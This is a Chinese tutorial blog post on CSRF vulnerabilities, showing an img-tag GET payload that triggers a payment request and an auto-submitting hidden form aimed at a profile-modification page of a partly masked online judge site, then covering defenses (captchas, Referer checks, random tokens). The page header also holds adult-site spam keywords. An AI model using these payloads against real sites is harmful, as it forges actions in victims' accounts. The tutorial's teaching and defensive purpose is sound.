中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

CSRF漏洞分析利用及防御

發布時間:2020-06-03 23:41:12 來源:網絡 閱讀:1082 作者:nw01f 欄目:安全技術


0x00 簡要介紹

    CSRF(Cross-site request forgery)跨站請求偽造,由于目標站無 token/refer 限制,導致***者可以以用戶的身份完成操作達到各種目的。根據HTTP請求方式,CSRF利用方式可分為兩種

 

0x01 GET類型的CSRF

     這種類型的CSRF一般是由于程序員安全意思不強造成的。GET類型的CSRF利用非常簡單,只需要構造一個HTTP請求,

一般會這樣利用:

<img src="http://a.ioio.pub:8000/users/pay?uid=122&monery=10000" \>

當目標加載這個圖片時會自動加載鏈接,這時就能完成***了。


例如:在一個留言或博客論壇的環境中,當留言內容沒有經過過濾時,可以按照上面的方法構造一個刪除該文章的圖片鏈接。當目標查看博客留言時,因為是圖片標簽,所以瀏覽器會自動加載該URL這時,目標處于登錄狀態,那么該文章就會被刪除。這種就是CSRF-GET請求的一種利用。


0x02 POST類型的CSRF

     所謂POST類型就是構造一個自動提交的表單,當目標點擊給標簽時,就會以POST的方式發送一次HTTP請求。

<!DOCTYPE html>
<html>
<head>
    <title>test csrf</title>
</head>
<body>
<body>
    <form name="csrf" action="http://acm.xxxxx.net/JudgeOnline/profile_modify.php?action=modify" method="post" enctype="multipart/form-data">
        <input type="hidden" name="email" value="123456@qq.com">
        <input type="hidden" name="qq" value="123456">
        <input type="hidden" name="telephone" value="12345678901">
        <input type="hidden" name="bloglink" value="smdx">
        <input type="hidden" name="description" value="xmsdx">
    </form>
    <script>document.csrf.submit();</script>
</body>
</html>

以上內容就是一個可以自動提交的表單,當用戶觸發時,發送一次HTTP請求,修改個人信息。


0x03 如何修復

     針對CSRF的防范:

     關鍵的操作只接受POST請求,并且添加驗證碼。

     CSRF***的工程,往往是用戶在不知情的情況下觸發的,當添加驗證碼或確認操作時,就可以簡單而有效防御CSRF了。

    

     檢測refer

常見的互聯網頁面與頁面之間是存在聯系的,比如你在www.baidu.com應該是找不到通往www.google.com的鏈接的,再比如你在 論壇留言,那么不管你留言后重定向到哪里去了,之前的那個網址一定會包含留言的輸入框,這個之前的網址就會保留在新頁面頭文件的Referer中


通過檢查Referer的值,我們就可以判斷這個請求是合法的還是非法的,但是問題出在服務器不是任何時候都能接受到Referer的值,所以Refere Check 一般用于監控CSRF***的發生,而不用來抵御***。


     Token

目前主流的做法是使用Token抵御CSRF***。下面通過分析CSRF ***來理解為什么Token能夠有效


CSRF***要成功的條件在于***者能夠預測所有的參數從而構造出合法的請求。所以根據不可預測性原則,我們可以對參數進行加密從而防止CSRF***。


另一個更通用的做法是保持原有參數不變,另外添加一個參數Token,其值是隨機的。這樣***者因為不知道Token而無法構造出合法的請求進行***。


Token 使用原則

Token要足夠隨機————只有這樣才算不可預測
Token是一次性的,即每次請求成功后要更新Token————這樣可以增加***難度,增加預測難度
Token要注意保密性————敏感操作使用post,防止Token出現在URL中
                                                                 ---參照學習與烏云drops
向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

延津县| 施甸县| 长兴县| 平顶山市| 洪洞县| 桃园市| 贞丰县| 尤溪县| 额敏县| 淳安县| 怀集县| 正镶白旗| 宣汉县| 行唐县| 新泰市| 廉江市| 岑溪市| 琼结县| 花莲市| 时尚| 黄骅市| 大化| 通渭县| 黄平县| 嘉兴市| 金塔县| 保康县| 繁昌县| 河津市| 麻城市| 军事| 临朐县| 五大连池市| 大庆市| 汕头市| 东乌珠穆沁旗| 阳曲县| 长汀县| 丰都县| 大埔区| 镇宁|